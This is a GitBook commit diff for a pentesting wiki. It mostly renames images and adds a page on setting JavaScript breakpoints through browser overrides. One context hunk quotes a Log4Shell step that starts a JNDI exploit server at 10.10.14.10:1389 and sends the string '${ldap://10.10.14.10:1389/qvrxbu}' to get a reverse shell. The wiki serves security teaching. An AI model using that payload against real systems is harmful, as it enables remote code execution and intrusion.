GitBook: [#3124] No subject
CPol
gitbook-bot
|
Before Width: | Height: | Size: 137 KiB After Width: | Height: | Size: 3.6 KiB |
|
Before Width: | Height: | Size: 3.6 KiB After Width: | Height: | Size: 194 KiB |
|
Before Width: | Height: | Size: 194 KiB After Width: | Height: | Size: 40 KiB |
|
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 163 KiB |
BIN
.gitbook/assets/image (648) (1) (1) (1) (1) (1).png
Normal file
|
After Width: | Height: | Size: 488 KiB |
|
Before Width: | Height: | Size: 488 KiB After Width: | Height: | Size: 44 KiB |
|
Before Width: | Height: | Size: 44 KiB After Width: | Height: | Size: 4.3 KiB |
|
Before Width: | Height: | Size: 4.3 KiB After Width: | Height: | Size: 129 KiB |
|
Before Width: | Height: | Size: 129 KiB After Width: | Height: | Size: 140 KiB |
|
Before Width: | Height: | Size: 140 KiB After Width: | Height: | Size: 163 KiB |
BIN
.gitbook/assets/image (649) (1) (1) (1).png
Normal file
|
After Width: | Height: | Size: 139 KiB |
|
Before Width: | Height: | Size: 139 KiB After Width: | Height: | Size: 387 KiB |
|
Before Width: | Height: | Size: 387 KiB After Width: | Height: | Size: 8.2 KiB |
|
Before Width: | Height: | Size: 8.2 KiB After Width: | Height: | Size: 100 KiB |
|
|
@ -32,7 +32,7 @@ If you want to **share some tricks with the community** you can also submit **pu
|
|||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
 (1) (1).png>)
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentestings, Red teams and training.
|
||||
|
||||
|
|
|
|||
|
|
@ -464,6 +464,7 @@
|
|||
* [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Debugging Client Side JS](pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md)
|
||||
* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
|
||||
* [Iframes in XSS and CSP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
|
|
|||
|
|
@ -32,7 +32,7 @@ When creating a new team, several important settings are selected:
|
|||
* **Administrator** access
|
||||
* **Specific** access:
|
||||
|
||||
.png>)
|
||||
 (1).png>)
|
||||
|
||||
### Teams & Users
|
||||
|
||||
|
|
|
|||
|
|
@ -338,7 +338,7 @@ Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generat
|
|||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
|
||||
 (1).png>)
|
||||
 (1) (1).png>)
|
||||
|
||||
Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/qvrxbu}`**
|
||||
|
||||
|
|
|
|||
|
|
@ -36,7 +36,7 @@ This is exactly the same technique as before, but checking the requests James no
|
|||
|
||||
In this case **the header Transfer-Encoding was injected**.
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
 (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Header Name Injection
|
||||
|
||||
|
|
|
|||
|
|
@ -112,7 +112,7 @@ In order to achieve this, the attacker needs to find an endpoint of the web appl
|
|||
|
||||
He will send a **exploit** like:
|
||||
|
||||
 (1) (1).png>)
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
After the first request is resolved and sent back to the attacker, the **victims request is added into the queue**:
|
||||
|
||||
|
|
|
|||
|
|
@ -66,7 +66,7 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
|
|||
spoofed.burpcollaborator.net = 127.0.0.1
|
||||
```
|
||||
|
||||
 (1).png>)
|
||||
 (1) (1).png>)
|
||||
|
||||
### Domain Parser
|
||||
|
||||
|
|
|
|||
|
|
@ -25,6 +25,12 @@
|
|||
4. If **used**:
|
||||
1. You could exploit a **DOM XSS**, pay attention how your input is controlled and if your **controlled input is used by any sink.**
|
||||
|
||||
When working on a complex XSS you might find interesting to know about:
|
||||
|
||||
{% content-ref url="debugging-client-side-js.md" %}
|
||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Reflected values
|
||||
|
||||
In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,26 @@
|
|||
# Debugging Client Side JS
|
||||
|
||||
Debugging client side JS can be a pain because every-time you change the URL (including a change in the params used or param values) you need to **reset the breakpoint and reload the page**.
|
||||
|
||||
### `debugger;`
|
||||
|
||||
If you place the line `debugger;` inside a JS file, when the **browser** executes the JS it will **stop** the **debugger** in that place. Therefore, one way to set constant breakpoints would be to **download all the files locally and change set breakpoints in the JS code**.
|
||||
|
||||
### Overrides
|
||||
|
||||
Browser overrides allows to have a local copy of the code that is going to be executed and execute that one instead of the one from the remote server.\
|
||||
You can **access the overrides** in "Dev Tools" --> "Sources" --> "Overrides".
|
||||
|
||||
You need to **create a local empty folder to be used to store the overrides**, so just create a new local folder and set is as override in that page.
|
||||
|
||||
Then, in "Dev Tools" --> "Sources" **select the file** you want to override and with **right click select "Save for overrides"**.
|
||||
|
||||
.png>)
|
||||
|
||||
This will **copy the JS file locally** and you will be able to **modify that copy in the browser**. So just add the **`debugger;`** command wherever you want, **save** the change and **reload** the page, and every-time you access that web page **your local JS copy is going to be loaded** and your debugger command maintained in its place:
|
||||
|
||||
.png>)
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.youtube.com/watch?v=BW\_-RCo9lo8\&t=1529s](https://www.youtube.com/watch?v=BW\_-RCo9lo8\&t=1529s)
|
||||
|
|
@ -113,7 +113,7 @@ You can also indicate the number of symbols you are going to select and SigDigge
|
|||
|
||||
Having found this is an **AM modulated** signal and the **symbol rate** (and knowing that in this case something up means 1 and something down means 0), it's very easy to **obtain the bits** encoded in the signal. So, select the signal with info and configure the sampling and decision and press sample (check that **Amplitude** is selected, the discovered **Symbol rate** is configured and the **Gadner clock recovery** is selected):
|
||||
|
||||
.png>)
|
||||
 (1).png>)
|
||||
|
||||
* **Sync to selection intervals** means that if you previously selected intervals to find the symbol rate, that symbol rate will be used.
|
||||
* **Manual** means that the indicated symbol rate is going to be used
|
||||
|
|
@ -132,7 +132,7 @@ If there would have been for example **4 different levels of amplitude**, you sh
|
|||
|
||||
Finally **increasing** the **Zoom** and **changing the Row size** you can see the bits (and you can select all and copy to get all the bits):
|
||||
|
||||
.png>)
|
||||
 (1).png>)
|
||||
|
||||
If the signal has more than 1 bit per symbol (for example 2), SigDigger has **no way to know which symbol is** 00, 01, 10, 11, so it will use different **grey scales** the represent each (and if you copy the bits it will use **numbers from 0 to 3**, you will need to treat them).
|
||||
|
||||
|
|
@ -160,7 +160,7 @@ This is because I capture the signal in booth frequencies, therefore one is appr
|
|||
|
||||
If the synchronized frequency is **closer to one frequency than to the other** you can easily see the 2 different frequencies:
|
||||
|
||||
 (1) (1).png>)
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
|
|||
|
|
@ -10,7 +10,7 @@
|
|||
|
||||
Note that even if the PINOUT of the Pirate Bus indicates pins for **MOSI** and **MISO** to connect to SPI however some SPIs may indicate pins as DI and DO. **MOSI -> DI, MISO -> DO**
|
||||
|
||||
 (1).png>)
|
||||
 (1) (1).png>)
|
||||
|
||||
In Windows or Linux you can use the program [**`flashrom`**](https://www.flashrom.org/Flashrom) to dump the content of the flash memory running something like:
|
||||
|
||||
|
|
|
|||
|
|
@ -8,7 +8,7 @@ Generally, the line is held high (at a logical 1 value) while UART is in the idl
|
|||
|
||||
We call the most common configuration 8N1: eight data bits, no parity, and one stop bit. For example, if we wanted to send the character C, or 0x43 in ASCII, in an 8N1 UART configuration, we would send the following bits: 0 (the start bit); 0, 1, 0, 0, 0, 0, 1, 1 (the value of 0x43 in binary), and 0 (the stop bit).
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
Hardware tools to communicate with UART:
|
||||
|
||||
|
|
|
|||